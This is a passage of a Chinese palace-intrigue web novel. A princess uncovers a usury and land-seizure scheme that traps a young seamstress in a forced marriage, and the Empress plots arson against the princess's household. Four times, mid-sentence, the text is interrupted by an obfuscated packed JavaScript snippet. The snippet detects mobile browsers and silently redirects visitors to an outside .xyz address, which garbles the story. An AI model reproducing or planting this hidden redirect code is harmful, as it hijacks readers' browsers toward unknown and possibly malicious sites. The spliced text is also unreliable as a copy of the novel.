十二岁的孩子都能赚钱养家了,在这个**世道,不容易,温若初打心里佩服小玉,脸上浮起淡淡笑意。 “无妨,小玉是吧,不必拘束,坐吧。” 递给月儿一个眼神,月儿感激地瞅了温若初一眼,出去端了茶水和两碟子小点心放到小玉手边方桌上,小姐妹互相看了一眼,小玉身上的那股子局促不安少了一些。 温若初等小玉熟悉了,才开口问道。 “雨天前来见本宫,有事?” 小玉抬头,有些兴奋地打开怀中包裹,里面两双小虎头鞋,蜀锦鞋面,绣着精美花纹。 “王妃娘娘待小玉恩重如山,这两双虎头鞋,是特意送给两位小公子的,”顿了顿,像是怕温若初多想是的,紧接着红着脸解释一句,“不要银子,是送的。” 温若初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578379|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭眼就瞧出鞋面料子是上等的蜀锦,小玉一个没什么倚靠的绣娘,是买不到这种货色蜀锦的。 半开玩笑道:“小玉这是发财了?” 她的话音落地,小玉眼睛就红了,眼泪在眼圈里打转,温若初赶紧问怎么回事。 小玉抽抽搭搭哭了半晌,“小玉日后不能为荣王府做活了……” 小玉解释前些日子债主找上门,她还不起银子,那债主郭河两个月前刚**老婆,只要她答应做续弦,之前欠的债务一笔勾销。 温若初听说过郭河这个人,是距离都城五十里一个叫做南卿庄的一个乡绅,整个南卿庄的田产基本上都是郭河的,在都城也有许多产业。 是东宫太子沈星驰手下一位幕僚的亲戚。 这个郭河为自己捐了一个只有头衔没有实权的官,远近十里八乡都叫他为郭员外,年过六十,娶了十几个老婆。 后宅没有妾室,十几个老婆也是相继抬进门的,前一个不明原因**,不出两个月很快补上。 郭河以克妻扬名。 温若初闲聊的时候问过沈惊澜,沈惊澜说从郭宅里抬出来的夫人身上都是有伤的。 嫁给郭河的女孩最大的不过十五岁,又都是贫苦家庭出身,这些女孩**,郭河会给女孩家里一笔银子。 所以没人去追究郭河之前的那些老婆**的,一口上好的棺木往土里一埋,结束女孩的一生,无人在意,旁人只当做是郭河克妻。 小玉答应给郭河做续弦,就是睁着眼睛往火坑里跳。 小玉为荣王府做衣裳做了几个月,少说也赚了一百多两银子。 十两银子就够普通家庭一年花销。 温若初好奇小玉到底欠了多少银子,至于把自己卖了? “你欠了那个郭河多少银子?” 小玉哭得抽抽搭搭,“五年前只借了二十两银子,郭河说连本带利要还九百三十两,月底拿不出银子就要报官。还说给我一条活路,嫁给郭河做续弦,九百多两的银子不用还了。” “我不嫁给郭河做续弦,郭河就要抓我妹妹做续弦,我妹妹才十岁啊。” 第167章 **结 小玉接着说道:“我阿爹借用郭河银子,不是为了挥霍,而是买了十几亩良田,那年阿爹身子骨硬朗还没瘫。” “六年前南卿庄的田产还不是郭河的,是官府放出来的一块地,比旁处都便宜,地也好,很多人买了,阿爹为了让我们姊妹几个吃饱饭,也想买,但手上没银子。” “有人把郭河介绍给阿爹,说郭员外是接济邻里的大善人,可以借银子,还不要利息,一年后还上就成。” “阿爹去找郭河借到了银子,却如旁人说的不要利息,象征性地签了契,一年后归还银子,那时我们一家人都把郭河当做活菩萨。” “阿爹买到了官府的低价良田,当年的收成也很好,扣除交给朝廷的田赋,留够口粮,剩下的粮食差不多能卖二十两,正好可以还郭员外的银子。可谁能想到……” 小玉眼泪像断了线的珠子,噼里啪啦往下掉。 “……那年秋收,朝廷张贴告示增加三成田赋,如此一来,剩下的粮食不够还郭河银子,开始计算利息。想着转过年勤快一些,把多出的三成田赋赶出来,两三年的光景也能还上郭河银子。” “可天不遂人愿,转过年闹蝗灾,官府放任不理,错过了抢救蝗灾最佳时机,那年的收成不足往年一半,朝廷田赋照缴,郭河的银子又还不上了,买的良田当做利息被郭河收走了,连本金带利息,接着滚,滚雪球一样,越滚越大,二十两银子,五年就涨到九百多两。” 小玉擦了擦眼角泪水,面上挤出一抹苦笑。 “我嫁给郭河做续弦,我弟弟妹妹就解脱了。” 抬手轻轻抚了抚手边,给温若初肚子里孩子做的两双虎头鞋。 “为王爷和娘娘做衣裳的这几个月,我手里攒了点银子,托人买了几尺蜀锦,正好够做两双鞋,送给两位小公子,算是小玉的心意,娘娘不要嫌弃,小玉求见娘娘,就是来找娘娘赔罪的,小玉辜负了娘娘,以后不能为荣王府做衣裳了。” 送走小玉,温若初心情沉闷得厉害。 十二岁的小姑娘还是一个孩子,在父母掌心里撒娇的好年纪,小玉就要肩负重担跳火坑了。 受到小玉影响,几个伺候的丫头,都红着眼睛,不说话了,眼底隐隐泛着泪花。 月儿用帕子抹了抹眼角,抿着嘴唇,犹豫着问道。 “公主,有没有法子能帮小玉?二十两银子,得是多高的利息,五年滚到九百多两?肯定不合律法,大理寺和刑部的那些人看不见吗?” 月儿的声音听起来瓮声瓮气的,带着一丝丝的沙哑,眼泪憋得应该很厉害,又气愤又委屈。 温若初长长叹了一口气,月儿是冲着她来的,她心疼月儿,也怜悯小玉。 可她不是救苦救难的活菩萨。 皇后对荣王府虎视眈眈,巴不得她和沈惊澜出错处。 临盆在即,她自己尚且费些心神和皇后周旋。横生枝节帮助旁人,实在是心有余而力不足。 把别人家的棺材抬自己家哭,首先需有那个力气能抬得动棺材。 帮助小玉不仅仅是拿出一千两银子的事。 一千两银子她给得起。 可替小玉还了债务之后呢? 小玉解脱了,那个郭河淫心不死,还会去祸害别的姑娘。 南卿庄的良田原本都是朝廷的公田,朝廷低价放了出来,农户手里没银子没银子怎么办? 这个时候接济乡里的“大善人”郭河出现了,以一年之内免利息的方式,借银子给农户。 紧接着秋收,朝廷上调田赋,农户能交够官府的田赋,还不起朝郭河那借来的买地的银子,郭河就要收农户手里的田地抵做一年的利息,本金接着滚利。 一手买进卖出,农户除了增加了永远换上的债务,什么都没得到。 整个南卿庄的良田,经过五六年运作,基本上成了郭河私产。 曾买过南卿庄良田的农户,手里不仅没了田,倒欠郭河一笔银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581374|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 乍看之下没什么问题,借人家银子,就要还。 可仔细琢磨这里面,好像不止借农户银子抬高利息这一件事,一环扣一环,处处透着一股诡异的巧合,好像有一张无形大网,硬生生把那些只想吃饱饭的农户,往死路上逼,喝穷人的血,敲骨吸髓,盘剥致死。 官府前一年放出低价良田,为何等秋收突然抬高田赋? 郭河原来不过是经营布匹商人,官府放地的那年手里为何会有那么多的银子借给农户? **结一番运作,简直就是无本万利的买卖,和珅来了都甘拜下风。 解决小玉问题的关键,不是帮小玉还银子,而是砍掉背后操纵的那只黑手。 温若初抿了一口茶,“没听小玉说吗,五六年了,官府肯定是知道的,那个郭河一把年纪还能大张旗鼓娶媳妇,明摆着官府睁一只眼闭一只眼,不愿意管这事。” 她放下茶盏,躺在摇椅里摇晃两下,继续说道。 “背后一定有一位手眼通天的大人物,这个郭河不过是被人提着线,站在台前蹦跶,帮人敛财的小丑。” 说着话,门外响起一阵喧嚣声,温若初抬眼看去。 “外面怎么这么吵?” 黄兰掀开门帘出去,没一会儿小辛小跑过来,隔着门帘给温若初见了一个礼。 “回娘娘的话,是阁主吩咐我带人把兵部一些没用的文书抬回来。” 小辛不好意思地挠了挠脑袋,“我偷懒没回来叫人,让巡防营的几位兄弟帮忙抬回来的,重手重脚的嗓门大,扰了娘娘,我这就让他们小点动静。” 巡防营和兵部同级,巡防营统领魏玮也不是沈惊澜的人,魏玮只听命于老皇帝。 请人家帮忙,哪有嫌弃的道理。 “不必了,一会儿好好谢谢人家。” 温若初问小辛,“王爷什么时候回来?” “本王在。” 没等小辛开口,一道熟悉的清冷声音传进屋里。 第168章 沈惊澜的这张俊脸可不能糟践了 温若初站起身,视线越过小辛,一个身材挺拔修长身影,撑着油纸伞,在雨雾中走来,那张堪比谪仙人的脸逐渐清晰。 看向她的目光中带着温和笑意,隔着一张半透珠帘,温若初也在用满是欣喜的目光迎着沈惊澜。 沈惊澜走到屋檐下,“你下去吧。” “是!” 小辛接过沈惊澜手里油纸伞,放到一边,应了一声,转身走了。 沈惊澜掀开门帘走进屋,见温若初在门口站着。 “怎么不在屋里待着,下着雨呢,小心淋到了。” 关心的话,带着几分责备语气。 “天气暖和了,又不怕着凉。” 温若初不以为意笑了笑,两日不见,沈惊澜眉眼间透着一股疲惫。 最近这阵子,沈惊澜一直都在追查鄞郡军饷来源,想来沈惊澜那边的进展应该不是很顺利。 今日小玉来,她一直都在琢磨小玉的事。 郭河是沈星驰手下一个幕僚的亲戚,可能是有一些主观臆断成分,隐隐觉得南卿庄土地兼并,很有可能和沈惊澜正在调查的案子有关。 有心想问问查得怎么样了,人家好不容易休息回家休息一会,她追在屁股后面问案子,有点像工作休息时间要方案的讨人厌的甲方。 温若初安耐住求知欲,堵在嗓子眼的话,咽回肚子里,没话找话故意逗沈惊澜。 “我还以为那个俊俏小生来了,特意到门口来瞅瞅,没想到是你回来了。” 沈惊澜用湿帕子擦手的动作顿了一下,似是看穿了温若初的小心思,嘴角勾起宠溺弧度,微微摇了摇头。 顺着话茬,也跟着她胡诌八扯,“见是本王回来,不符合王妃心中预期,让王妃失望了?” “王爷容貌生得极好,若是比相貌,这天底下哪一个能比得过王爷?” 温若初说的是实话,语气中隐隐带着几分她自己都没察觉到的傲娇,就好像沈惊澜是她的个人私产。 沈惊澜但笑不语。 温若初记得刚认识沈惊澜那会,夸沈惊澜长得好看,这老小子的脸就撂下了,鼻子不是鼻子眼不是眼的。 从什么时候开始沈惊澜愿意听她夸他来着? 温若初歪着脑袋想了想,她也忘了。 “过来,坐下。” 沈惊澜打断她脑海中的天马行空,温若初坐了过去。 沈惊澜看向温若初的眸光依旧缱绻柔和,此时面上多了几分严肃,坐在太师椅里,摩挲着茶盏边缘,缓缓开口道。 “鄞郡那笔军饷来源有眉目了。” 温若初眼神都亮了,偏头看向沈惊澜。 “然后呢?” 或许是温若初的提问过于急切,沈惊澜面上狐疑一闪而过。 “你好像对这件事很感兴趣?” 温若初催促,“我今日发现一个情况,你先说,你说完我再说。” 有种和学霸对答案的错觉,心底透着一股子兴奋,跃跃欲试想要大展身手一番。 沈惊澜瞅了她一眼,朝廷**斗争阴险诡谲,一点都不必真刀**的战场来的轻松。 不知道小玉来过,温若初守在内宅,已窥见**结贪腐案的一角。 沈惊澜心里妥协地叹了一口气。 温若初怀着身孕,不易劳心费神,本想说一嘴鄞郡军饷来源有眉目了,不让她惦记即可。 见她这个样子…… 罢了,左右外面有他,就当做新鲜事讲给温若初听。 “六年前雍国各地战事平定,百姓流离,百废待兴,陛下实行休养生息政策,朝廷陆续拿出一部分良田,低价卖给农户,既能补充国库,又让农户有了土地,转过年能收上田赋……” 温若初的猜测没错,沈惊澜追踪到的军饷来源正是出在土地上。 柳正平平定匪乱,履历军功,带起了柳家不少人,柳家势力逐渐壮大,柳妃所出六皇子沈飞白的地位一飞冲天,地位隐隐有超太子之势。 皇后和沈星驰坐不住了,用他们的话来讲,是为了以备不时之需,在鄞郡招兵买马。 招兵买马需要大量银子,于是皇后那些人便把主意打到老皇帝推行的休养生息政策上,从弱势的农户手里扣银子。 大肆在各地培植帮他们敛财的劣绅,专门找那些老实本分,想通过双手努力劳动,又没什么背景的农户作为目标,诱骗这些农户借银子。 这只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586802|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是第一步,皇后等人紧接着联合户部打了一个信息差,让户部虚抬高三个点的收成。 那个时候雍国上下百废待兴,上到朝廷大员,下到黎民百姓都缺粮食,就连皇宫也不例外。 老皇帝看过户部呈报上来的各地账目,粮食丰收了,龙颜大悦,也没派人去核实,当即下了一道圣旨,增加三成田赋。 各地税收上来了,皇宫里的粮食也够吃了。 持续了一段时间短暂又虚假的繁荣,老皇帝觉得自己又行了,夜夜笙歌,继续为他的好大儿铺路,还赏赐了户部。 在老皇帝看不到的角落,更多百姓流离失所,卖儿卖女。 小玉只是众多受害者中的一个。 老皇帝是希望雍国江山长治久安的,妄图守住先帝开创的太平盛世,并持续千秋万代。 奈何自身能力有限,在他治理下的雍国江山,早已满目疮痍,他自己打心底里不愿意承认自己的无能,下意识回避问题,享受粉饰出来的虚假繁荣。 雍国已经从根上开始烂了,就算书中沈惊澜不弑父杀兄,雍国也早晚要完蛋。 温若初把小玉的故事说给沈惊澜听,沈惊澜让她放宽心。 沈惊澜已经捋顺了这里面利益输送链条,这几日正整理账目,最晚月底之前,户部一大批官员将会被处理,那个什么郭河的脑袋还能在肩膀上多喘几天气。 温若初心里有了底,小玉嫁给郭河的日子在下个月,这道坎,小玉应该是跨过去了。 这个案子尚未盖棺定论,为避免节外生枝,温若初叮嘱月儿,先别告诉小玉。 沈惊澜带回来的消息,一扫之前小玉叙述悲惨经历蒙上的阴翳气息。 温若初顺畅不少,连院子里的雨水滴落在地,瞧着都轻快不少。 温若初赶紧让人传晚膳,阴雨连绵的天气,正适合睡大觉,沈惊澜那张俊脸上都有黑眼圈了。 那张脸看着养眼,可不能糟践了,晚膳后让沈惊澜早点歇息。 温若初最近胃口大开,烧鹅烤肉来者不拒,正和沈惊澜分吃一只鹅腿。 隔壁院子传来一声凄厉惨叫。 “贵啊!”惨叫声还带着口音。 第169章 怀了两个哪吒 温若初嘴里塞着肉,下意识朝声源处瞥了一眼,转回头对上沈惊澜视线。 沈惊澜一侧眉毛扬了扬,询问的视线看着她,家里没养鬼,为何会有鬼哭狼嚎的声音。显然是让她给出一个合理解释。 温若初扯起嘴角,露出一个僵硬的笑意。 最近几日沈惊澜忙着追查鄞郡军饷来源,不住在府里,千叮咛万嘱咐不能放生人进来。 沈惊澜走的当天,皇后就把花嬷嬷派来了。 她也是为了图日后省心,想尽快彻底解决潜在的危险,就留下了明知没安好心的花嬷嬷。 怕惹沈惊澜分心,这事一直瞒着。一日两次遣人回来问安,温若初给沈惊澜的回信一直是一切安好。 她真不是有意诓骗沈惊澜。 她以为沈惊澜还得五六日能回来,那位花嬷嬷如今已经被她折腾得神神叨叨的,也就是这两日花嬷嬷就要回禀皇后。 皇后本就信奉鬼神,花嬷嬷回去神神叨叨地禀告柳妃鬼魂大闹荣王府,到时候就有好戏了。 让“柳妃鬼魂”缠住皇后,皇后忙着继续和“柳妃”斗。为她临盆腾出点时间,温若初也能安心在府里生子。 哪曾想她的计划刚完成一半,沈惊澜突然回来了。 温若初一脸心虚地假笑,大脑飞速旋转,搜索措辞和沈惊澜解释,府里为何会有“鬼叫”声,眼神瞄了一眼来添菜的秋菊,计上心头。 对秋菊眨了眨眼睛。 秋菊到底是伺候温若初最久的丫鬟,一个眼神就懂了她的意思。 带着几分委屈的语气,为温若初打抱不平。 “姑爷您这两日不在府里是不知道,皇后派来一个说是助娘娘生产的稳婆,打着为两位小公子好的由子,又要公主做着,又要公主做那,公主都被那位花嬷嬷折腾惨了。” “公主怕家里的事分了姑爷的心,不让奴婢们多嘴告诉姑爷,公主是宁愿忍受委屈自己扛着,也不愿拖累姑爷。” 温若初放在桌面下手,对秋菊竖起大拇指,知我者,秋菊也。 秋菊这颠倒是非茶言茶语的本事,得了她的真传,她是得了沈惊澜真传,沈惊澜才是装委屈扮无辜,茶言茶语鼻祖,秋菊算是沈惊澜徒孙。 “秋菊,休得胡言!” 温若初假意训斥秋菊的同时,偷偷打量沈惊澜神色。 沈惊澜瞅了一眼秋菊,眸光落在温若初身上,眉心微蹙,关注侧重点不在温若初阳奉阴违诓骗他家里是否有事。 而是…… 温若初居然把皇后派来的人留在身边。 朝野上下谁人不知皇后的亲弟弟是被他揪出来的?还有正在调查的鄞郡军饷来源案子,他早已成为皇后的眼中钉,肉中刺。 温若初是他发妻,皇后心胸狭隘,定会迁怒温若初。 皇后惯会使用佛口蛇心伎俩,让人防不胜防。 温若初并非心思单纯蠢笨之人,不可能猜不透皇后的心思。 眼瞅临盆日期临近,正是最虚弱,最需要人保护的时候,温若初是多大的心把皇后的人留在身边的? 明知道秋菊说的话至少七成假,温若初大概率不会受到旁人欺负,可沈惊澜心里还是有些心疼温若初。 瞅了一眼方才起惨叫声传来方向,沈惊澜墨黑深邃眼底快速闪过一抹杀意。 他不紧不慢放下手中的筷子,起身道。 “我去看看。” 温若初赶紧拽住沈惊澜,沈惊澜顿住脚步低头看她。 两人相处的时间不短,虽然沈惊澜什么都没说,面上也没有任何一样表情,可温若初搭眼一瞅沈惊澜,就知道这小子此时是对花嬷嬷动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588290|170164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了杀心。 沈惊澜是一只不会乱叫,还会咬**的大狗。 温若初有些头疼,让秋菊配合她不过是想激起沈惊澜对她的怜爱之心,可怜她受到欺负,就会把她欺瞒沈惊澜这茬蒙混过去。 眼下来看,好像有点用力过猛了…… 温若初敛起眼底装腔作势扮4委屈的神色,仰头看着沈惊澜,正了正神色道。 “花嬷嬷是皇后娘娘的人,留着花嬷嬷,还有用。” 沈惊澜眼底掩饰不住的担心,沉吟半晌,点点头,又坐下,眸光温和,曲起手指刮了刮温若初高高隆起的小腹。 “怎么还不出来?要住到什么时候?两个小家伙不会真的学哪吒吧?” 自从温若初给沈惊澜讲过那些传统神话故事之后,沈惊澜就记住了,如今都学会运用哪吒的梗来说笑了。 “哪有那么多的哪吒?” 温若初笑了笑,“古叔说就这几日了,早三五日晚三五日都正常,你急什么?” “这么大一坨肉挂在身上,一定很辛苦,”沈惊澜貌似闲聊,低声淡淡道。 有这两个小家伙在,好像限制了温若初,做事较之前束手束脚许多。 温若初是她的软肋。 这两个小家伙,还没出来呢,就成了温若初的软肋。 沈惊澜接着说道:“你安心待产即可,皇后那边我去解决。” 淡淡的语气,听起来莫名安心。 沈惊澜说能解决,那就一定能解决。 悬在温若初心里那根紧绷的神经,因这句话逐渐放松下来,她暗暗吐出一口气。 温若初没有半途而废的习惯,她的谋划到底是成功了一半,她想看到计划成功之后的样子。 央求沈惊澜“解决”皇后,务必用她装神弄鬼的法子。 沈惊澜答应了。 第170章 一手好算盘 翊坤宫 皇后坐在玫瑰软椅里,手指快速而焦躁地捻着佛珠,带着几道眼尾细纹的脸上,还勉强维持着一国之母的体面。 “沈惊澜都查到土地上了,六年前匪患平定,陛下很是看重土地改革,推行休养生息政策,没收了一些勋贵土地,低价转卖给农户,我们动了陛下最看重的东西,陛下又要大发雷霆了。” “皇也就是说两句,还能怎么样?” 沈星驰姿态散漫,靠坐在椅子里,说两句话打了三个哈欠,眼眶乌黑发青,一副被吸食精魂的样子。 一身酒臭味,说话的时候都飘到皇后这边了。 皇后嫌弃地用帕子掩了掩口鼻。 自从上次鄞郡私募兵马被沈惊澜抬出来,老皇帝让沈星驰静思已过,停了沈星驰一切政务后。沈星驰就像是放飞自我,解放天性似的。待在东宫夜夜笙歌,还让手下幕僚去找年轻美少妇,供自己玩乐解闷。 陛下让他在东宫静思记过,他可倒是好,贪图玩乐上了。 不求他头悬梁锥刺股,一门心思地钻研治国之策,至少要装装样子,做给陛下看。 皇后几度派人去规劝太子,不可太过追求享乐,心思应该放在政务上,沈星驰答应得好,可关上门依旧夜夜笙歌,没把她这个母后的话放在心上。 几番劝诫无果后,就由着他了,让东宫那些伺候的,管住自己的嘴巴,不要到处乱说。 沈惊澜如今如日中天,是陛下面前的红人,陛下中意沈惊澜,一时半会不会去东宫看望太子。 想来昨日太子又在府里鬼混,一大早把他叫来商议,才会是这幅人不人鬼不鬼的样子。 皇后睨了一眼沈星驰,一脸愁容。 “因鄞郡私募兵马的事,陛下前些日子刚斥责了本宫,搭上了你舅舅一家的性命才换回来你平安无事,陛下只是停了你的政务,可这件事若是捅出来,就不是斥责那么简单了,一个后宫干政的恶名压下来,哪个皇后能受得住。” 沈星驰:“母后是皇后,哪个不要命的敢说母后的不是,父皇对母后真情不变,定会替母后鸣冤,为母后正名。” 刁嬷嬷伺候在一边,顺着沈星驰的话劝慰皇后。 “太子殿下说得对,娘娘是母仪天下的皇后,和陛下是从小的情谊,不管娘娘做了什么,陛下都不会拿娘娘怎么样?陛下心里还是看重娘娘和太子殿下的。” “不求有功,但求无过,有陛下护着,皇后和太子殿下,必然一生无虞,顺顺当当的。” 皇后思来想去,是这么个道理,心底的焦躁情绪缓解不少,做了半辈子夫妻,陛下还能不让她做这个皇后不成? 太子打了一个酒嗝,皇后又想起太子好像是有过的,她板着脸,带着几分斥责语气问沈星驰。 “你手底下养的都是些什么人?本宫让他们留在你身边,是规范你言行,为你出谋划策的,这些人就没一个劝能劝得动你的?” 皇后轻哼一声,“正事一件没办成,阿谀奉承讨主子欢心的本事倒是不少,土地的事,都是你手下的那些幕僚处理的,也不知道沈惊澜查到哪一步了……” 说到这里皇后像是想起什么似的,抬眼看向刁嬷嬷。 “花嬷嬷去了荣王府有几日,说好的隔一日回来禀告一次,这都几日了,花嬷嬷人呢?” 刁嬷嬷回禀:“前两日花嬷嬷派人来传话,说是病了,这两日会来回禀娘娘荣王府那边的情况。” 说着话,小宫女进来通传,花嬷嬷求见。 皇后让人进来。 来人身形瘦弱,双目无神,眼眶乌黑,走路都虚弱得都直打晃,和沈星驰那副被精怪吸食精魄的鬼样子有得一拼。 要不是小宫女通传,来的人是花嬷嬷,皇后都要认不出花嬷嬷了。 花嬷嬷见过礼,皇后上下打量花嬷嬷,眉心蹙得很深。 “你怎么成这幅样子?” 花嬷嬷低着头,一脸惊惧,偷偷往头上看了看,神神叨叨地小声说道。 “娘娘,柳妃这几日在荣王府闹腾得厉害,娘娘能不能允准老奴去别处?” 皇后下意识打了一个冷颤,朝虚空处私下瞅了瞅,重重拍了一把桌子,怒视花嬷嬷。 “大胆!说的什么浑话,柳妃已经死了,怎么去荣王府闹腾,莫不是差事没办好,没探听到荣王府有用的消息,故意寻个不靠谱的由头,诓骗本宫。” 花嬷嬷膝盖一软,直接跪地,脸色煞白,一副被吓破胆子的模样,瞪着一双惊恐的眼睛,哆里哆嗦解释。 “是……是柳妃的鬼魂啊,荣王妃还特意请来了龙虎山的广成子,驱柳妃的鬼魂。” 皇后脑海闪过柳妃死之前恶狠狠瞪着她,死了都不愿意闭上眼睛,怨毒中带着不甘心的眼神。 她脸上血色退得干干净净,抓住救命稻草一样,紧紧攥着手里佛珠。 “那柳妃鬼魂如今在何处?” 花嬷嬷回得认真:“广成子驱鬼之后,柳妃就很少闹腾了。” 两人一问一答,讨论柳妃鬼魂讨论得来劲,好像柳妃鬼魂真的存在似的。 刁嬷嬷见沈星驰神色萎靡昏昏欲睡,没有要管的意思。 犹豫着如何和皇后说根本就没有什么鬼魂之说,就算是有鬼魂,皇后乃一国之母,自有天神护佑,那个不长眼的鬼魂来出来近皇后娘娘的身。 如此害怕忧心柳妃鬼魂,简直就是杞人忧天。 娘娘胆子本就小,突然冒出什么鬼魂,说不定是温若初和沈惊澜在背后搞鬼。 眼瞅皇后听从花嬷嬷撺掇,要给柳妃立牌位进香,这不合礼数,皇后给妃妾立牌位祭拜,传出去要被天下人嗤笑。 刁嬷嬷赶紧出声打断皇后和花嬷嬷关于柳妃鬼魂的探讨,话题扯到正事上。 “花嬷嬷,少装神弄鬼吓唬皇后娘娘,我问你,娘娘吩咐你办的差事,办得怎么样了?” 经刁嬷嬷这么厉声一提醒,思绪回到正题上,急着问。 “对,荣王府这两日有什么动静没有?” “还真有,”花嬷嬷道,“前两日沈惊澜让人搬回府几只大箱子,老奴瞧着那箱子很重,晚些时候,偷溜进书房瞅了一眼,是账本。” 沈惊澜到底是什么都查到了。 皇后脑子嗡的一声,手上不觉用力扯断了佛珠,圆润饱满佛珠噼里啪啦滚落在地。 刁嬷嬷捡起佛珠,“先别慌,账本是何等重要,沈惊澜和温若初诡计多端,兴许是温若初和沈惊澜的障眼法。” 花嬷嬷一拍大腿,笃定道。 “老奴万不敢在皇后娘娘面前扯谎,老奴说的句句属实,搬箱子那日下着小雨,还是巡防营的人帮搬的,若是寻常账目,家丁搬动即可,至于惊动巡防营的人。” 巡防营魏玮直接听命于陛下,除了陛下没有人敢指使魏玮的人。 花嬷嬷话音落地,聪敏如刁嬷嬷,都有点相信了。 皇后更是深信不疑,缓了好长时间心神,瞅了一眼昏睡在椅子上东倒西歪的沈星驰,太子心性不定是指望不上了。 皇后咬了咬后槽牙,沈惊澜如此卖力调查,取悦陛下,就是把她和太子往绝路上赶,沈惊澜就是想取代太子。 温若初临盆就在这几日了,沈惊澜也不怕遭报应。 牙齿间溢出一句话,“别怪本宫一不做二不休,去内务府置办两大桶火油过来。” “是。” 第171章 “临盆了” 荣王府 晚膳后,温若初捧着肚子,躺在枣树下乘凉。可能是怀了身孕的缘故,她的嗅觉格外灵敏。 一阵风吹来,闷热的空气中夹杂着几分若有似无的火油味。 温若初嗅了嗅鼻子,“怎么一股子火油味?” 秋菊月儿黄兰三个丫头,听她这么一问,也闻了闻,摇着脑袋。 “没有啊。” “不对!” 温若初摇摇头,抬手指向上风向,“就是火油味,从那边吹来的。” 一墙之隔的院子,正是花嬷嬷所住的院子。花嬷嬷原本是住在她院子里厢房的,花嬷嬷撞见两次“柳妃”后,整个人变得神神叨叨的,过来非要求温若初换地方住。 温若初顺着花嬷嬷的意思,特意命人收拾出一处小院,门窗都是新的,夜晚有风的时候没有鬼哭狼嚎的声音。 花嬷嬷整日把自己关在院子里,基本上不主动来找这边找温若初的麻烦。 夹杂着火油味道的风是从花嬷嬷院子吹来的,味道很淡,风停的时候就没有了。 那日沈惊澜吩咐小辛从兵部搬回来几箱子没用的文书和账本,的确是没什么用的文书和账本,还特意烦请了巡防营的人帮忙搬,大张旗鼓的,好大的阵仗,就是为掩人耳目,布下鱼钩。 沈惊澜和她说,鱼饵已经下了,这两日搬到老宅子,别的事不用她操心,她安心住在老宅子里待产就好。 沈惊澜从小大虞为质,对危险的感知异常敏锐,大概是早觉察到皇后那些人会对荣王府动手,故而提前谋划。 温若初从小锦衣玉食,沈惊大条,只能通过外在条件做出分析判断,她嗅着风中那不易察觉到的气息,笃定就是火油。 吩咐秋菊,“去把花嬷嬷请来。” 又看向黄兰,“等花嬷嬷出来后,你去搜搜花嬷嬷院子,看看有没有可疑的地方,切记东西归于原位,不要让人察觉。” 两个丫鬟没嗅到火油味,却也不敢怠慢,温若初临盆,府里上上下下都打起十二分精神。 “是。”两个丫鬟各自去忙了。 没一会儿,花嬷嬷被请了过来。 花嬷嬷一进屋,那股子火油味尤其明显,这会秋菊和月儿都闻到了。 温若初笑道。 “花嬷嬷最近住得可好?嬷嬷是母后的人,这府里委屈了谁都不能委屈了嬷嬷。” 花嬷嬷到底是学乖了,不敢对温若初言行无状,说一切都好。 花嬷嬷原本住的那间厢房,和主屋这边这隔着一道廊桥,坐在门口这边,搭眼就能瞧见,花嬷嬷的视线格外回避那间厢房。 想来是那几晚鬼哭狼嚎声把她吓得不轻。 像是被鬼撵似的,坐立难安,回了温若初的话,就着急走。 “王妃娘娘没什么事,老奴就不叨扰娘娘了。” “本宫还没和嬷嬷说完话呢,嬷嬷急什么。” 花嬷嬷硬着头皮又退了回来,手脚冰凉。 “是,是。” 温若初和花嬷嬷扯东扯西,天南海北聊了半天,换了两壶茶水,黄兰终于回来了。 黄兰朝温若初点点头,温若初放走了花嬷嬷。 眼瞅日影西斜,妖魔鬼怪快要出来了,花嬷嬷一听温若初让她走,如获大赦一般,腿脚迈得飞快,一溜烟走了。 花嬷嬷走后,不等温若初问,黄兰急道。 “这个老太婆怀了心肝,床底下藏了两桶火油,应该是怕人闻到味道,五六道油纸包裹着,定没安什么好心。” “娘娘还真是厉害,隔着一道院墙都能闻到。” 